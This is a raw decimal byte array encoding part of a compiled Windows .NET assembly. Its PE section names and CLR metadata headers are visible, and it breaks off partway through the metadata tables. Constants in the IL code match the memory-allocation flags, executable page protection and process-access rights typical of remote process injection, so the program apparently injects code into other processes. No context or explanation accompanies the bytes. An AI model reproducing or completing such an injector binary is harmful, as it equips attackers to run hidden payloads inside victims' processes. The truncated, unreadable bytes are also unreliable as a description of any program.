0, 64, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 88, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 20, 45, 0, 0, 28, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 72, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 46, 116, 101, 120, 116, 0, 0, 0, 76, 14, 0, 0, 0, 32, 0, 0, 0, 16, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 96, 46, 114, 115, 114, 99, 0, 0, 0, 88, 3, 0, 0, 0, 64, 0, 0, 0, 16, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 64, 46, 114, 101, 108, 111, 99, 0, 0, 0, 0, 0, 0, 0, 96, 0, 0, 0, 0, 0, 0, 0, 48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 66, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 72, 0, 0, 0, 2, 0, 5, 0, 132, 33, 0, 0, 144, 11, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 19, 48, 3, 0, 62, 0, 0, 0, 1, 0, 0, 17, 0, 2, 142, 105, 23, 254, 2, 10, 6, 45, 13, 2, 22, 154, 40, 16, 0, 0, 10, 128, 12, 0, 0, 4, 2, 23, 154, 128, 11, 0, 0, 4, 2, 23, 154, 128, 10, 0, 0, 4, 126, 11, 0, 0, 4, 126, 10, 0, 0, 4, 126, 12, 0, 0, 4, 40, 8, 0, 0, 6, 38, 42, 0, 0, 19, 48, 7, 0, 140, 0, 0, 0, 2, 0, 0, 17, 0, 4, 40, 18, 0, 0, 10, 10, 6, 111, 19, 0, 0, 10, 40, 20, 0, 0, 10, 0, 6, 40, 10, 0, 0, 6, 22, 254, 1, 19, 7, 17, 7, 45, 4, 2, 11, 43, 2, 3, 11, 7, 40, 21, 0, 0, 10, 12, 32, 58, 4, 0, 0, 22, 6, 111, 19, 0, 0, 10, 40, 2, 0, 0, 6, 13, 9, 126, 22, 0, 0, 10, 8, 142, 105, 184, 32, 0, 48, 0, 0, 31, 64, 40, 5, 0, 0, 6, 19, 4, 9, 17, 4, 8, 8, 142, 105, 184, 18, 5, 40, 6, 0, 0, 6, 38, 9, 126, 22, 0, 0, 10, 22, 17, 4, 126, 22, 0, 0, 10, 22, 126, 22, 0, 0, 10, 40, 7, 0, 0, 6, 38, 22, 19, 6, 43, 0, 17, 6, 42, 19, 48, 2, 0, 23, 0, 0, 0, 3, 0, 0, 17, 0, 22, 10, 2, 111, 23, 0, 0, 10, 18, 0, 40, 9, 0, 0, 6, 38, 6, 11, 43, 0, 7, 42, 146, 114, 1, 0, 0, 112, 128, 10, 0, 0, 4, 114, 1, 0, 0, 112, 128, 11, 0, 0, 4, 40, 24, 0, 0, 10, 111, 19, 0, 0, 10, 128, 12, 0, 0, 4, 42, 30, 2, 40, 25, 0, 0, 10, 42, 66, 83, 74, 66, 1, 0, 1, 0, 0, 0, 0, 0, 12, 0, 0, 0, 118, 52, 46, 48, 46, 51, 48, 51, 49, 57, 0, 0, 0, 0, 5, 0, 108, 0, 0, 0, 52, 4, 0, 0, 35, 126, 0, 0, 160, 4, 0, 0, 96, 5, 0, 0, 35, 83, 116, 114, 105, 110, 103, 115, 0, 0, 0, 0, 0, 10, 0, 0, 4, 0, 0, 0, 35, 85, 83, 0, 4, 10, 0, 0, 16, 0, 0, 0, 35, 71, 85, 73, 68, 0, 0, 0, 20, 10, 0, 0, 124, 1, 0, 0, 35, 66, 108, 111, 98, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 1, 87, 29, 2, 20, 9, 0, 0, 0, 0, 250, 37, 51, 0, 22, 0, 0, 1, 0, 0, 0, 22, 0, 0, 0, 2, 0, 0, 0, 12, 0, 0, 0, 12, 0, 0, 0, 30, 0, 0, 0, 25, 0, 0, 0, 9, 0, 0, 0, 12, 0, 0, 0, 3, 0, 0, 0, 2, 0, 0, 0, 7, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 0, 0, 10, 0, 1, 0, 0, 0, 0, 0, 6, 0, 65, 0, 58, 0, 10, 0, 133, 1, 114, 1, 6, 0, 105, 2, 74, 2, 6, 0, 2, 3, 232, 2, 6, 0, 45, 3, 27, 3, 6, 0, 68, 3, 27, 3, 6, 0, 97, 3, 27, 3, 6, 0, 128, 3, 27, 3, 6, 0, 153, 3, 27, 3, 6, 0, 178, 3, 27, 3, 6, 0, 205, 3, 27, 3, 6, 0, 232, 3, 27, 3, 6, 0, 1, 4, 74, 2, 6, 0, 21, 4, 27, 3, 6, 0, 46, 4, 114, 1, 63, 0, 66, 4, 0, 0, 6, 0, 113, 4, 81, 4, 6, 0, 145, 4, 81, 4, 6, 0, 188, 4, 58, 0, 6, 0, 204, 4, 74, 2, 6, 0, 11, 5, 58, 0, 6, 0, 46, 5, 58, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 16, 0, 27, 0, 35, 0, 5, 0, 1, 0, 1, 0, 81, 128, 72, 0, 10, 0, 81, 128, 94, 0, 10, 0, 81, 128, 120, 0, 10, 0, 81, 128, 141, 0, 10, 0, 81, 128, 158, 0, 10, 0, 81, 128, 174, 0, 38, 0, 81, 128, 185, 0, 38, 0, 81, 128, 197, 0, 38, 0, 81, 128, 212, 0, 38, 0, 17, 0, 235, 0, 61, 0, 17, 0, 239, 0, 61, 0, 17, 0, 243, 0, 10, 0, 80, 32, 0, 0, 0, 0, 150, 0, 247, 0, 64, 0, 1, 0, 0, 0, 0, 0, 128, 0, 150, 32, 252, 0, 70, 0, 2, 0, 0, 0, 0, 0, 128, 0, 150, 32, 8, 1, 77, 0, 5, 0, 0, 0, 0, 0, 128, 0, 145, 32, 24, 1, 82, 0, 6, 0, 0, 0, 0, 0, 128, 0, 145, 32, 39, 1, 88, 0, 8, 0, 0, 0, 0, 0, 128, 0, 145, 32, 54, 1, 97, 0, 13, 0, 0, 0, 0, 0, 128, 0, 145, 32, 73, 1, 108, 0, 18, 0, 156, 32, 0, 0, 0, 0, 150, 0, 92, 1, 119, 0, 25, 0, 0, 0, 0, 0, 128, 0, 150, 32, 99, 1, 126, 0, 28, 0, 52, 33, 0, 0, 0, 0, 150, 0, 99, 1, 133, 0, 30, 0, 124, 33, 0, 0, 0, 0, 134, 24, 141, 1, 139, 0, 31, 0, 87, 33, 0, 0, 0, 0, 145, 24, 69, 5, 219, 0, 31, 0, 0, 0, 1, 0, 147, 1, 0, 0, 1, 0, 152, 1, 0, 0, 2, 0, 168, 1, 0, 0, 3, 0, 183, 1, 0, 0, 1, 0, 195, 1, 0, 0, 1, 0, 208, 1, 0, 0, 2, 0, 216, 1, 0, 0, 1, 0, 225, 1, 0, 0, 2, 0, 234, 1, 0, 0, 3, 0, 244, 1, 0, 0, 4, 0, 251, 1, 0, 0, 5, 0, 12, 2, 0, 0, 1, 0, 225, 1, 0, 0, 2, 0, 22, 2, 0, 0, 3, 0, 36, 2, 0, 0, 4, 0, 45, 2, 2, 0, 5, 0, 51, 2, 0, 0, 1, 0, 225, 1, 0, 0, 2, 0, 118, 2, 0, 0, 3, 0, 137, 2, 0, 0, 4, 0, 149, 2, 0, 0, 5, 0, 164, 2, 0, 0, 6, 0, 176, 2, 0, 0, 7, 0, 192, 